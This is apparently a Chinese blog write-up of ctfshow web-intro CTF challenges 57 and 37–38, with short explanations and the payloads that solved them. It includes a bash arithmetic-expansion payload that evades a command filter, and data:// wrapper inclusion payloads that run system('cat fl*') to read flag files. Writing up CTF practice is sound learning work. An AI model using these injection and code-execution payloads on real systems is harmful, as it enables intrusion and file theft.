/ctfshow%20web%E5%85%A5%E9%97%A857~68
web ctfshow 刷题

ctfshow web入门57~68

web57
题目显示flag在36.php中,而且给出cat和php了,只要想办法构造出36就可以了。
$(())是做运算,$((${_}))=0,所以只要拼接除-36之后取反就行
payload:
1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

/chtshow%20web%E5%85%A5%E9%97%A837~40
web ctfshow 刷题

chtshow web入门37~40

web 37
考察data伪协议,data伪协议需满足allow_url_fopen,allow_url_include同时开启才能使用。
payload:
1
/?c=data://text/plain,<?php system("cat fl*");?>

web38
php被过滤了,可以用短标签绕过php。
短标签:比更灵活调用的方法
paylaod:
1
2
?c=data://text/plain,<?=`cat fla*`;?>
/?c=data://text/plain,<?=system("cat fl*");?>

赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!